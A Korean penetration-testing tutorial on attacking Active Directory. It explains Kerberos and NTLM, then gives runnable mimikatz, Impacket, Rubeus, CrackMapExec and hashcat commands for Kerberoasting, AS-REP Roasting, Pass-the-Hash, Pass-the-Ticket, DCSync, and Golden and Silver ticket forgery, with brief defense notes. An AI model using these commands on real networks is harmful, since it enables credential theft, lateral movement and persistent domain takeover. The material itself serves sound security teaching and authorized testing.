/보안 기법/Active Directory 공격 기법 — Kerberoasting, Pass-the-Hash, Golden Ticket
시스템 침투2025-04-23

Active Directory 공격 기법 — Kerberoasting, Pass-the-Hash, Golden Ticket

기업 내부망 침투 테스트의 핵심. Kerberoasting으로 서비스 계정 크래킹, Pass-the-Hash로 인증 우회, Golden Ticket으로 도메인 완전 장악까지. AD 공격의 전체 흐름 정리.

#ActiveDirectory#Kerberos#Kerberoasting#Pass-the-Hash#Golden-Ticket#Windows#내부망

기본 원리: Active Directory와 Kerberos

Active Directory란

Active Directory(AD)는 Microsoft의 디렉터리 서비스로, Windows 기업 환경에서 중앙 인증·권한 관리를 담당한다. 수천 대의 컴퓨터와 사용자 계정을 하나의 도메인(Domain) 으로 묶어 관리한다.

도메인: company.local
  ├── 도메인 컨트롤러(DC): 도메인 인증을 처리하는 서버
  │     LDAP, DNS, Kerberos KDC 역할 수행
  ├── 사용자 계정: john@company.local
  ├── 컴퓨터 계정: WORKSTATION01$, SERVER02$
  ├── 보안 그룹: Domain Admins, IT-Team
  └── 서비스 계정: svc_sql, svc_iis (서비스 실행용)

도메인 컨트롤러(DC)를 장악하면 도메인 전체 계정의 해시를 덤프할 수 있고, 임의 계정으로 인증이 가능해진다. 그래서 AD 침투 테스트의 **최종 목표는 DC 장악(= Domain Admin 권한)**이다.

Kerberos 인증 프로토콜 심층 분석

Kerberos는 AD의 기본 인증 프로토콜이다. 비밀번호를 네트워크로 전송하지 않고 암호화된 티켓 기반으로 인증한다.

구성 요소:
  KDC (Key Distribution Center) = 도메인 컨트롤러
    ├── AS  (Authentication Service): 사용자 초기 인증, TGT 발급
    └── TGS (Ticket Granting Service): 서비스 티켓 발급

  TGT  (Ticket Granting Ticket): "나는 인증된 사용자다" 증명서
  TGS  (Ticket Granting Service ticket): 특정 서비스 접근권
  SPN  (Service Principal Name): 서비스 식별자 (예: MSSQLSvc/db01.company.local:1433)

Kerberos 전체 인증 흐름 (6단계):

1. AS-REQ: 사용자 → KDC
   "john입니다, TGT 주세요"
   내용: 사용자명 + 타임스탬프 (사용자 NTLM해시로 암호화)

2. AS-REP: KDC → 사용자
   "TGT 드립니다"
   TGT = {사용자명, 만료시간, 세션키} — krbtgt 계정 해시로 암호화
   (사용자는 TGT 내부를 복호화할 수 없음)

3. TGS-REQ: 사용자 → KDC
   "DB 서버에 접근하고 싶어요, TGT 보여드릴게요"
   내용: TGT + 원하는 서비스 SPN

4. TGS-REP: KDC → 사용자
   "DB 서비스 티켓 드립니다"
   티켓 = {사용자명, 권한, 세션키} — 서비스 계정 NTLM해시로 암호화
   (사용자는 이 티켓 내부도 복호화할 수 없음)

5. AP-REQ: 사용자 → DB 서버
   "DB 서버야, 이 티켓으로 접근하겠습니다"

6. AP-REP: DB 서버 → 사용자
   "티켓 확인 완료, 접근 허용"
   (DB 서버는 자신의 키로 티켓을 복호화해 검증)

핵심 포인트: TGT는 krbtgt 계정 해시로 암호화되고, 서비스 티켓은 해당 서비스 계정 해시로 암호화된다. 이 구조가 Kerberoasting과 Golden Ticket 공격의 기반이 된다.


1. 내부망 열거 (Enumeration)

초기 발판(foothold)을 잡은 후 가장 먼저 AD 구조를 파악한다.

# 도메인 기본 정보 확인
net user /domain                          # 도메인 사용자 목록
net group /domain                         # 도메인 그룹 목록
net group "Domain Admins" /domain         # 도메인 관리자 목록
nltest /domain_trusts                     # 도메인 신뢰 관계 (다른 도메인으로 피벗 가능)

# 현재 사용자 권한 확인
whoami /all                               # SID, 그룹, 특권(SeDebugPrivilege 등) 확인
whoami /groups                            # 소속 그룹 목록
# BloodHound — AD 구조 시각화 도구
# SharpHound.exe로 데이터 수집 후 BloodHound GUI에 업로드
.\SharpHound.exe -c All --zipfilename bloodhound.zip

# BloodHound에서 "Shortest Path to Domain Admins" 쿼리 실행
# → 현재 사용자에서 Domain Admin까지 가장 짧은 경로 자동 탐색
# 중간 노드: 그룹 멤버십, ACL 권한, 컴퓨터 세션 등 분석
# LDAP 프로토콜로 AD 열거 (Python)
# AD는 내부적으로 LDAP 디렉터리 서버이므로 ldap3 라이브러리로 직접 쿼리 가능
import ldap3

server = ldap3.Server('192.168.1.10', get_info=ldap3.ALL)
conn = ldap3.Connection(server, 'DOMAIN\\user', 'password', auto_bind=True)

# 모든 사용자 조회
conn.search(
    'DC=company,DC=local',
    '(objectClass=user)',
    attributes=['sAMAccountName', 'memberOf', 'description', 'userAccountControl']
)

# Kerberoasting 대상: SPN 설정된 계정 조회
# SPN이 있는 계정 = Kerberos 서비스 티켓 요청 대상
conn.search(
    'DC=company,DC=local',
    '(&(objectClass=user)(servicePrincipalName=*))',
    attributes=['sAMAccountName', 'servicePrincipalName']
)

# AS-REP Roasting 대상: 사전인증 비활성화 계정
# userAccountControl 비트 플래그에서 DONT_REQUIRE_PREAUTH(0x400000) 확인
conn.search(
    'DC=company,DC=local',
    '(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))',
    attributes=['sAMAccountName']
)

2. Kerberoasting — 서비스 계정 해시 오프라인 크래킹

원리

Kerberos 인증 흐름 4단계에서 서비스 티켓은 서비스 계정의 NTLM 해시로 암호화된다. 도메인에 속한 일반 사용자라면 누구나 SPN이 설정된 계정의 서비스 티켓을 KDC에 요청할 수 있다. 이 티켓을 받아서 오프라인으로 크래킹하면 서비스 계정의 평문 비밀번호를 얻을 수 있다.

공격 흐름:
  공격자(일반 사용자) → KDC: "MSSQLSvc 서비스 티켓 주세요" (TGS-REQ)
  KDC → 공격자: {사용자 정보} encrypted with svc_sql's NTLM hash (TGS-REP)
  공격자: 티켓을 파일에 저장 → 오프라인 hashcat으로 크래킹
  결과: svc_sql 계정의 평문 비밀번호 획득
# PowerView (PowerShell)
Import-Module .\PowerView.ps1
Invoke-Kerberoast -OutputFormat Hashcat | Out-File hashes.txt
# -OutputFormat Hashcat: hashcat이 바로 읽을 수 있는 형식으로 출력

# Rubeus (더 현대적, .NET)
.\Rubeus.exe kerberoast /format:hashcat /output:hashes.txt
.\Rubeus.exe kerberoast /user:svc_sql /format:hashcat  # 특정 계정만 타겟
# Impacket (Linux에서 원격으로)
GetUserSPNs.py company.local/user:password \
  -dc-ip 192.168.1.10 \
  -outputfile hashes.txt

# 출력 형식 (hashcat mode 13100):
# $krb5tgs$23$*svc_sql$company.local$MSSQLSvc/db01.company.local:1433*$...

# 오프라인 크래킹
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt -r rules/best64.rule

방어: 서비스 계정 비밀번호 25자 이상 복잡하게, gMSA(Group Managed Service Account) 사용(자동 120자 비밀번호), 서비스 계정에 최소 권한만 부여


3. AS-REP Roasting — 인증 없이 해시 수집

Kerberos는 기본적으로 사전 인증(Pre-Authentication)을 요구한다. 사용자는 AS-REQ에 타임스탬프를 자신의 NTLM 해시로 암호화해 전송해야 한다. 이는 KDC가 비밀번호 유효 여부를 먼저 확인하는 과정이다.

그런데 "사전 인증 불필요(DoesNotRequirePreAuth)" 설정이 켜진 계정은 인증 없이 TGT를 요청할 수 있다. TGT는 사용자 해시로 암호화된 부분을 포함하므로 크래킹 대상이 된다.

# 사전 인증 비활성화 계정 탐색
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth

# impacket — 도메인 인증 없이 원격에서 실행 가능!
# 사용자 목록만 있으면 계정 비밀번호 없이도 해시 수집
GetNPUsers.py company.local/ \
  -usersfile users.txt \
  -format hashcat \
  -outputfile asrep_hashes.txt

# 크래킹 (hashcat mode 18200)
hashcat -m 18200 asrep_hashes.txt rockyou.txt

4. Pass-the-Hash (PtH)

NTLM 인증 원리

Windows의 NTLM 인증은 Challenge-Response 방식이다. 서버가 랜덤 챌린지를 보내면, 클라이언트가 비밀번호의 NTLM 해시로 챌린지를 암호화해 응답한다. 서버는 같은 연산을 수행해 비교한다.

NTLM 인증 흐름:
  클라이언트 → 서버: "AUTHENTICATE 요청"
  서버 → 클라이언트: CHALLENGE (8바이트 랜덤값)
  클라이언트 → 서버: Response = NTLM_HASH(challenge + 기타)
  서버: 동일 계산 후 비교 → 인증 성공

핵심: 서버는 비밀번호 평문이 아닌 NTLM 해시만 알면 된다
→ 해시를 탈취하면 비밀번호 없이도 같은 Response 생성 가능 = Pass-the-Hash
# 1단계: NTLM 해시 덤프
# mimikatz — lsass.exe 메모리에서 해시 추출 (관리자 권한 필요)
mimikatz # sekurlsa::logonpasswords
# 출력: NTLM: aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0

# 또는 SAM 데이터베이스 덤프
mimikatz # lsadump::sam  # 로컬 계정 해시
# 2단계: PtH로 원격 접근 (impacket)
# :NTLM_HASH 형식 — 앞 LM 해시 부분은 빈값

psexec.py  -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 administrator@192.168.1.100
# → cmd.exe 셸

smbexec.py -hashes :NTLM_HASH administrator@192.168.1.100
# → SMB 기반 명령 실행 (psexec보다 조용함)

wmiexec.py -hashes :NTLM_HASH administrator@192.168.1.100
# → WMI 기반 명령 실행 (이벤트 로그 최소화)
# CrackMapExec — 내부망 전체 PtH 스프레이
crackmapexec smb 192.168.1.0/24 -u administrator -H NTLM_HASH
# → Pwn3d! 표시된 머신 = PtH 성공 (로컬 관리자 권한)

crackmapexec smb 192.168.1.0/24 -u administrator -H NTLM_HASH --shares
crackmapexec smb 192.168.1.0/24 -u administrator -H NTLM_HASH -x "whoami"

방어: Credential Guard 활성화 (lsass 메모리 보호), Protected Users 그룹 사용, LAPS(Local Administrator Password Solution)로 머신마다 다른 로컬 관리자 비밀번호 사용


5. Pass-the-Ticket (PtT)

NTLM 해시 대신 Kerberos 티켓 자체를 탈취해 재사용한다. TGT를 탈취하면 임의 서비스 티켓을 요청할 수 있다.

# 현재 로그온 세션의 티켓 덤프 (mimikatz)
mimikatz # sekurlsa::tickets /export
# .kirbi 파일로 저장됨 (각 서비스 티켓)

# Rubeus로 Base64 덤프
.\Rubeus.exe dump /nowrap   # 현재 세션 모든 티켓 Base64 출력

# 다른 세션 또는 다른 프로세스에 티켓 주입
mimikatz # kerberos::ptt administrator.kirbi

# Rubeus 주입
.\Rubeus.exe ptt /ticket:BASE64_ENCODED_TICKET

# 주입 후 확인
klist         # 현재 세션의 Kerberos 티켓 목록

6. DCSync — DC 동기화 프로토콜 악용

원리

Active Directory는 여러 DC 간에 MS-DRSR(Directory Replication Service Remote Protocol) 로 데이터를 동기화한다. 이 프로토콜로 한 DC가 다른 DC에게 "계정 데이터 보내줘"를 요청하면 NTLM 해시가 포함된 데이터가 전송된다.

DCSync는 이 프로토콜을 흉내내어 KDC에 직접 계정 해시를 요청한다. DC에 직접 로그인하지 않아도 되며, 원격에서 모든 계정의 해시를 덤프할 수 있다.

필요 권한: DS-Replication-Get-Changes + DS-Replication-Get-Changes-All (기본: Domain Admins, Enterprise Admins, DC 계정이 보유)

# impacket (Linux에서 원격)
secretsdump.py company.local/administrator:password@192.168.1.10

# PtH로 DCSync
secretsdump.py -hashes :NTLM_HASH company.local/administrator@192.168.1.10

# krbtgt 해시만 덤프 (Golden Ticket 재료)
secretsdump.py company.local/administrator:password@192.168.1.10 -just-dc-user krbtgt

# 출력 형식:
# krbtgt:502:aad3b435b51404eeaad3b435b51404ee:36c97a54aaec1cbc6cb52eeddc5c0e47:::
#   ^^^   ^^^  ^^^(LM hash, 거의 항상 빈값)  ^^^(NTLM hash - 중요)
# mimikatz DCSync
mimikatz # lsadump::dcsync /user:krbtgt
mimikatz # lsadump::dcsync /user:administrator
mimikatz # lsadump::dcsync /all /csv   # 도메인 전체 해시 덤프

7. Golden Ticket — 도메인 영구 장악

원리

krbtgt는 KDC가 TGT를 서명하는 특수 계정이다. krbtgt 해시를 알면 TGT를 직접 위조할 수 있다. 위조된 TGT = Golden Ticket.

정상 TGT 발급:
  KDC: TGT = encrypt(사용자정보 + 만료시간 + 세션키, krbtgt_NTLM_hash)

Golden Ticket 위조:
  공격자: forged_TGT = encrypt(임의사용자 + 먼 미래 + 세션키, krbtgt_NTLM_hash)
  → KDC가 자신이 발급한 것으로 착각

결과:
  - 존재하지 않는 사용자로 도메인 인증 가능
  - 만료 기간 수십년으로 설정 가능
  - 모든 서비스에 Domain Admin 권한으로 접근
# 1단계: krbtgt NTLM 해시 획득 (DCSync 필요)
mimikatz # lsadump::dcsync /user:krbtgt
# NTLM: 36c97a54aaec1cbc6cb52eeddc5c0e47

# 2단계: 도메인 SID 확인
whoami /user
# 출력: S-1-5-21-1234567890-1234567890-1234567890-1103
# 마지막 숫자(-1103)를 제외한 부분이 도메인 SID

# 3단계: Golden Ticket 생성 및 현재 세션에 주입
mimikatz # kerberos::golden \
  /user:fake_admin \                          # 임의 사용자명 (없어도 됨)
  /domain:company.local \
  /sid:S-1-5-21-1234567890-1234567890-1234567890 \
  /krbtgt:36c97a54aaec1cbc6cb52eeddc5c0e47 \
  /groups:512 \                               # 512 = Domain Admins RID
  /ptt                                        # 현재 세션에 바로 주입

# 확인
klist                  # Golden Ticket 주입 확인
dir \\dc01\c$          # DC 파일 시스템 접근 테스트
# Impacket으로 Golden Ticket 생성 (Linux)
ticketer.py \
  -nthash 36c97a54aaec1cbc6cb52eeddc5c0e47 \
  -domain-sid S-1-5-21-1234567890-1234567890-1234567890 \
  -domain company.local \
  fake_admin
# → fake_admin.ccache 파일 생성

export KRB5CCNAME=fake_admin.ccache
psexec.py -k -no-pass company.local/fake_admin@dc01.company.local

방어: krbtgt 계정 비밀번호를 2회 연속 변경 (한 번 변경으로는 이전 키로 서명된 티켓이 여전히 유효할 수 있으므로). 이상한 티켓 속성 모니터링(만료 기간이 비정상적으로 긴 TGT).


8. Silver Ticket

krbtgt 해시 대신 특정 서비스 계정 해시로 서비스 티켓을 직접 위조한다. KDC에 요청하지 않으므로 도메인 컨트롤러 로그에 흔적이 남지 않는다. 범위는 해당 서비스로 제한되지만 탐지가 더 어렵다.

# CIFS(파일 공유) Silver Ticket — 특정 서버 파일 시스템 접근
mimikatz # kerberos::golden \
  /user:administrator \
  /domain:company.local \
  /sid:S-1-5-21-XXX-XXX-XXX \
  /target:fileserver.company.local \
  /service:cifs \
  /rc4:SERVICE_ACCOUNT_NTLM_HASH \
  /ptt

# MSSQLSvc Silver Ticket — DB 서버 접근
mimikatz # kerberos::golden \
  /user:sa \
  /domain:company.local \
  /sid:S-1-5-21-XXX-XXX-XXX \
  /target:db01.company.local \
  /service:MSSQLSvc \
  /rc4:SVC_SQL_NTLM_HASH \
  /ptt

9. 전체 공격 흐름 요약

Step 1: 초기 접근 (피싱 이메일, 공개 서비스 취약점 등)
        → 도메인 내 일반 사용자 계정 획득

Step 2: 내부망 열거
        BloodHound로 AD 구조 파악
        LDAP으로 SPN 설정 계정, 특수 권한 계정 탐색

Step 3: 자격증명 수집
        Kerberoasting → 서비스 계정 비밀번호 크래킹
        AS-REP Roasting → 사전인증 비활성 계정 해시

Step 4: 측방 이동 (Lateral Movement)
        탈취한 자격증명으로 PtH / PtT
        관리자 권한 있는 다른 서버로 이동
        도메인 관리자 세션이 있는 서버 탐색

Step 5: 권한 상승
        도메인 관리자 세션이 열린 서버에서 티켓 탈취
        또는 취약한 ACL/위임 설정으로 Domain Admin 권한 획득

Step 6: DC 장악
        DCSync → krbtgt 해시 + 전체 계정 해시 덤프
        Golden Ticket → 영구 지속 (Persistence)

주요 도구

도구 용도 플랫폼
mimikatz 자격증명 덤프, 티켓 생성/주입, DCSync Windows
Impacket 원격 AD 공격 스위트 (PtH, DCSync, Kerberoasting) Python (Linux)
BloodHound AD 구조 시각화, 공격 경로 자동 탐색 GUI
SharpHound BloodHound 데이터 수집기 C# (Windows)
Rubeus Kerberos 티켓 조작 (Kerberoasting, PtT, AS-REP) C# (Windows)
CrackMapExec (CME) 내부망 스프레이, 열거, 명령 실행 Python
PowerView AD 열거 (PowerShell) PowerShell

⚠️ 모든 기법은 서면 동의된 침투 테스트 환경에서만 사용해야 한다.

⚠️ 이 글의 내용은 교육 및 허가된 침투 테스트 목적으로만 사용해야 합니다. 무단으로 타인의 시스템에 적용하는 것은 법적 처벌을 받을 수 있습니다.